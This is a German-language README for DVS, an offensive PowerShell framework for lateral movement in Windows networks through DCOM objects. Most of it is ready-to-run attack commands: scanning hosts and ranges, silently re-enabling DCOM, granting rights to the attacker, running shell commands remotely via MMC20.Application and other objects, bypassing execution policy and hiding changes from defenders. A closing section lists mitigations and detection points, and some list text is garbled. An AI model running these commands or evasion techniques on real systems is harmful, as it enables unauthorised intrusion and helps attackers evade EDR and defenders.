
D(COM) V(ulnerability) S(canner) AKA tückisches Schweizer Taschenmesser - Lateral Movement mit DCOM-Objekten
Haben Sie sich jemals gefragt, wie Sie sich lateral durch interne Netzwerke bewegen können? Oder mit entfernten Maschinen interagieren können, ohne EDRs zu alarmieren?
Nehmen wir an, wir haben gültige Anmeldedaten oder eine aktive Sitzung mit Zugriff auf eine entfernte Maschine, aber wir haben keine Möglichkeit, einen Prozess remote mit einer bekannten, erwarteten oder stark überwachten Methode auszuführen (z. B. WMI, Task Scheduler, WinRM, PowerShell Remoting).
Das DVS-Framework kommt in diesen Szenarien zur Rettung.
Das DVS-Framework ist ein Schweizer Taschenmesser, mit dem Sie anfällige Funktionen von entfernten DCOM-Objekten enumerieren, starten und sogar Angriffe mit ihnen starten können.
Das Framework wird mit einer "Red Team"-Denkweise entwickelt und verwendet Stealth-Methoden, um entfernte Maschinen zu kompromittieren.
Das DVS-Framework enthält verschiedene Möglichkeiten, die Härtung von DCOM remote zu umgehen, indem der DCOM-Zugriff remote wiederhergestellt und dem angreifenden Benutzer automatisch die erforderlichen Berechtigungen erteilt werden.
Das Framework kann auch Änderungen an der entfernten Maschine auf ihren ursprünglichen Zustand vor dem Angriff zurücksetzen und diese Änderungen vor Verteidigern verbergen.
Unsere Haupterkenntnis ist, dass das Tool auch Befehle mit nicht anfälligen DCOM-Objekten über eine aqsome-Technik ausführen kann (Lesen Sie unten über Invoke-RegisterRemoteSchema).
Kompatibel mit PowerShell 2.0 und höher
YouTube-Video PoC: DVS
Dieses Tool dient nur zu Test- und Bildungszwecken. Jede andere Nutzung dieses Codes ist nicht gestattet. Verwendung auf eigene Gefahr.
Der Autor übernimmt KEINE Verantwortung für Missbrauch dieses Tools.
Durch die Nutzung akzeptieren Sie, dass jeglicher Schaden, der durch die Verwendung dieses Tools entsteht, Ihre Verantwortung ist.
Remote-Registry-Zugriff (MS-RRP)
AutoGrant-Modus markiert ist, Schreibberechtigungen prüfen, andernfalls Leseberechtigungen prüfenStandard Registry Provider (Wenn Remote-Registry verweigert)
StdRegProv zugänglich istAutoGrant-Modus markiert ist, Schreibberechtigungen prüfen, andernfalls Leseberechtigungen prüfenDas DVS-Tool prüft zunächst, ob die principal-identity über die folgenden Schritte Zugriff auf die entfernte Maschine hat:
Basisaktionen
SkipRegAuth nicht markiert ist)
AutoGrant markiert), andernfalls Fehleradsi/WindowsIdentity-Feature), berechtigt sind, mit dem DCOM zu interagieren (über entfernte Registry-Abfragen)AutoGrant markiert), andernfalls FehlerHKLM- oder HKCU-Hives)Invoke-DCOMObjectScan
Get-ExecutionCommand
Invoke-ExecutionCommand
Invoke-RegisterRemoteSchema
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed # Get details of the Invoke-DCOMObjectScan command
PS> Get-Help Get-ExecutionCommand -Detailed # Get details of the Get-ExecutionCommand command
PS> Get-Help Invoke-ExecutionCommand -Detailed # Get details of the Invoke-ExecutionCommand command
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Get details of the Invoke-RegisterRemoteSchema command
Die Funktion Invoke-DCOMObjectScan ermöglicht es Ihnen, DCOM-Objekte zu scannen und anfällige Funktionen über eine Liste von Mustern oder genauen Funktionsnamen zu finden, die Sie in eine Datei aufgenommen haben.
Beispiele:
Enumeriert und scannt das MMC20.Application (ProgID)-Objekt von der Angreifermaschine zum DC01-Host, ohne die Registry abzufragen.
Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
Hinweis: Das Tool analysiert keine ACL-Berechtigungen. Wenn das Tool erfolgreich ist, löst es alle Informationen über das Objekt auf, mit Ausnahme der in der Registry genannten Details (wie Objektname, ausführbare Datei usw.).
Überprüft, ob das MMC20.Application (ProgID)-Objekt von der Angreifermaschine zum DC01-Host zugänglich ist, ohne zuerst die Zugriffsliste des DCOM-Objekts abzufragen und zu verifizieren.
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
Validiert, ob MMC20.Application (ProgID) über den Bereich 10.211.55.4/24 anwendbar ist. Falls vorhanden, versucht das Tool, die Informationen darüber zu enumerieren (unter Verwendung der aktuell angemeldeten Benutzersitzung).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
Validiert, ob die CLSID {00020812-0000-0000-C000-000000000046} über die IP-Adresse 10.211.55.4 vorhanden und zugänglich ist. Falls vorhanden, löst das Tool die Informationen darüber auf (unter Verwendung der Anmeldedaten lab\administrator).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose
Scannt alle Objekte, die in einem angegebenen Pfad gespeichert sind (z. B. C:\Users\USERNAME\Desktop\DVS\objects.txt), über die IP-Adresse 10.211.55.4, und findet die Funktionsliste in der angegebenen Datei wie vulnerable.txt unter Verwendung der Anmeldedaten lab\administrator mit der folgenden Konfiguration:
Maximale Tiefe: 4
Maximale Ergebnisse: 1 (1 Ergebnis pro Objekt)
AutoGrant-Modus: Wenn wir keinen Zugriff auf das Objekt haben oder das DCOM-Feature deaktiviert ist, aktivieren Sie das DCOM-Feature und führen Sie eine automatische Berechtigungserteilung für das entsprechende DCOM-Objekt durch.
Abschließend wird die Maschine in den gleichen Zustand wie vor dem Angriff zurückgesetzt.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
Scannt alle Objekte, die auf den verfügbaren entfernten Maschinen im Bereich 10.211.55.1/24 gespeichert sind, und findet potenziell anfällige Funktionen aus der Liste in der ausgewählten Datei (z. B. C:\Users\USERNAME\Desktop\DVS\vulnerable.txt), schließt die Objekte in der ausgewählten Datei aus (z. B. C:\Users\USERNAME\Desktop\DVS\exclude.txt) und überspringt Eigenschaften mit demselben Namen auf anderen Routen desselben Objekts.
HINWEIS: Das Flag SkipSameProperyName könnte anfällige Funktionen übersehen, wenn derselbe Eigenschaftsname mit unterschiedlichen Präferenzen (Methoden/andere Eigenschaften) oder einer anderen Tiefenkette vorhanden ist.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
Die Funktion Get-ExecutionCommand ermöglicht die Generierung eines PowerShell-Payloads, das mit der entfernten DCOM-Funktion interagiert und diese mit den relevanten Parametern ausführt.
Überprüft, ob die principal-identity berechtigt ist, mit dem CLSID-Objekt {00020812-0000-0000-C000-000000000046} über die IP-Adresse 10.211.55.4 mit den Anmeldedaten lab\administrator zu interagieren. Anschließend wird der Ausführungsbefehl generiert.
PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
Überprüft den DCOM-Zugriff.
Falls die principal-identity nicht über die erforderlichen Berechtigungen verfügt oder das DCOM-Feature deaktiviert ist, aktiviert das Tool das DCOM-Feature, gewährt Identitätszugriff und interagiert mit dem MMC20.Application (ProgID)-Objekt über die IP-Adresse 10.211.55.4 mit den Anmeldedaten lab\administrator und generiert den Ausführungsbefehl.
Abschließend wird die Maschine in den gleichen Zustand wie vor dem Angriff zurückgesetzt.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
Versucht, mit dem MMC20.Application (ProgID)-Objekt über den Bereich 10.211.55.1/24 unter Verwendung der aktuell angemeldeten Sitzung zu interagieren, ohne ACL-Berechtigungen zu analysieren. Anschließend wird der Ausführungsbefehl generiert.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
Versucht, mit dem MMC20.Application (ProgID)-Objekt über die IP-Adresse 10.211.55.4 zu interagieren, ohne die Registry abzufragen.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
Die Funktion Invoke-ExecutionCommand ermöglicht die Ausführung von Befehlen über ein DCOM-Objekt mit dem angemeldeten Benutzer oder bereitgestellten Anmeldedaten.
Beispiele:
Überprüft den DCOM-Zugriff.
Falls die principal-identity nicht über die erforderlichen Berechtigungen verfügt oder das DCOM-Feature deaktiviert ist, aktiviert das Tool das DCOM-Feature, gewährt Zugriff, interagiert mit dem MMC20.Application (ProgID)-Objekt über den Bereich 10.211.55.1/24 unter Verwendung der aktuell angemeldeten Benutzersitzung und führt die folgenden Befehle aus:
Führt den Befehl cmd.exe /c calc aus
Setzt das Attribut Frame.Top auf 1
Abschließend wird die Maschine in den gleichen Zustand wie vor dem Angriff zurückgesetzt.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
Versucht, mit dem MMC20.Application (ProgID)-Objekt mit den Anmeldedaten lab\administrator über die IP-Adresse 10.211.55.4 zu interagieren und führt den folgenden Befehl aus: cmd.exe /c calc.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
Versucht, mit dem MMC20.Application (ProgID)-Objekt mit der aktuell angemeldeten Benutzersitzung zu interagieren, ohne ACL-Berechtigungen zu analysieren, und führt den folgenden Befehl aus: cmd.exe /c calc.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose
Die Funktion Invoke-RegisterRemoteSchema ermöglicht die Ausführung von Befehlen über die folgenden DCOM-Objekte mit dem angemeldeten Benutzer oder bereitgestellten Anmeldedaten:
Hinweis: Diese DCOM-Objekte benötigen keinen Zugriff auf die lokale Maschinen-Hive. Sie können mit jedem Benutzer, der auf die entfernte Maschine zugreifen kann, Fuß fassen!
Führt den Befehl cmd /c calc im Bereich 10.211.55.1/24 mit der aktuell angemeldeten Sitzung aus und gewährt bei Bedarf Berechtigungen.
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
Führt den Befehl cmd /c calc auf der entfernten Maschine 10.211.55.4 mit bereitgestellten Anmeldedaten aus.
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
MITRE Technique: T1021.003 - Remote Services: Distributed Component Object Model
Remote-DCOM-Zugriff deaktivieren
Remote-Registry-Zugriff verweigern, falls nicht erforderlich
Beide Optionen sind in einer Unternehmensumgebung schwer zu implementieren, ohne die Verfügbarkeit zu beeinträchtigen.
Dennoch kann es eine gute Härtungsoption für Endpunkte sein, die keine Remote-Verwaltung der Domäne benötigen (z. B. eigenständige Endpunkte).
Domain- und private Profile in der Windows Defender-Firewall aktivieren
Auf die Verwendung von LAPS umsteigen, um die Angriffsfläche zu reduzieren. Wenn jeder Computer in der Domäne ein anderes lokales Administratorkennwort hat, kann dieses Konto nicht für laterale Bewegungen verwendet werden.
Härtung von Benutzerzugriffsrechten kann diesen Angriff verhindern
Durch Gruppenrichtlinienobjekte kann eine Organisation administrators, users und andere Gruppen aus der Liste entfernen und auf eine spezielle Gruppe/einen speziellen Benutzer für die zentrale Verwaltung umsteigen, die nicht interaktiv auf andere Computer zugreift
[Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Access this computer from the network]
In offiziellen Härtungsleitfäden wie CIS lautet die empfohlene Einstellung für [Access this computer from the network] mit den Werten "administrators und Remote Desktop Users oder Authenticated users". Diese Empfehlungen sind anfällig für das DVS-Tool.
Härten Sie die DCOM-Berechtigungen, indem Sie die Rechte von administrators aus den Berechtigungen entfernen – Remote Launch und Remote Activation.
Verwenden Sie eine hostbasierte Firewall / anwendungsbewusste Firewall, um den DCOM-Zugriff zwischen Computern zu blockieren. Insbesondere für einen Computer, der nicht Teil der IT- oder Verwaltungsinfrastruktur ist.
Anwendungssteuerungsregeln können als letzter Kreis von Sicherheitskontrollen verwendet werden, um zu verhindern, dass anfällige Prozesse gefährliche untergeordnete Prozesse spawnen oder DLLs laden.
Beispiele:
mmc.exe -> cmd.exe
explorer.exe -> regsvr.exe
visio.exe -> wmic.exe
excel.exe -> Rundll32.exe
outlook.exe -> cmd.exe
Überwachen Sie Änderungen in der Registry an den folgenden Stellen:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
Dieser Schlüssel enthält die DCOM-Berechtigungseinstellungen. Wenn sie geändert werden, kann dies bedeuten, dass ein Angreifer, der das DVS-Tool verwendet hat, die Härtung entfernt hat.
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
"Die Unterschlüssel und Registrierungswerte, die dem Schlüssel [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] zugeordnet sind, enthalten Informationen über eine Anwendung, die zur Unterstützung der COM-Funktionalität erforderlich sind. Diese Informationen umfassen Themen wie unterstützte Datenformate, Kompatibilitätsinformationen, programmatische Bezeichner, DCOM und Steuerelemente." Microsoft dev center referense
[MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
Diese Schlüsseländerung kann darauf hindeuten, dass das DVS-Tool die DCOM-Einschränkungen für remote activation und Remote Launch deaktiviert hat.
Verwenden Sie eine anwendungsbewusste Firewall, um den DCOM-Zugriff zwischen Computern zu blockieren. Insbesondere von einem Computer, der nicht Teil der IT- oder Verwaltungsinfrastruktur ist.
Ein Intrusion-Prevention-System (z. B. Snort, Suricata) kann verwendet werden, um das DCOM-Protokoll zu erkennen, das auf RPC (MS-RPC, MS-RPCE) und dem Remote-Registry-Protokoll (MS-RRP) basiert.
Überwachen Sie die Windows Defender-Firewall, indem Sie das Überwachungsprotokoll für blockierten Datenverkehr für Domänen- und private Profile aktivieren.
Überwachen Sie Änderungen am folgenden Schlüssel. Dies kann darauf hindeuten, dass das DVS-Tool eine Regel erstellt hat, um die dynamischen RPC-Einschränkungen der Microsoft Defender-Firewall zu umgehen.
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
Überwachen Sie Windows-Ereignisprotokolle:Enable audit of events. Audit settings that should be enabled on success and failure: Kontoanmeldeereignisse überwachen | Anmeldeereignisse überwachen | Objektzugriff überwachen | NTLM-Überwachung
Browse to this registry key: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] Create new DWORDs with value of '1' called ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel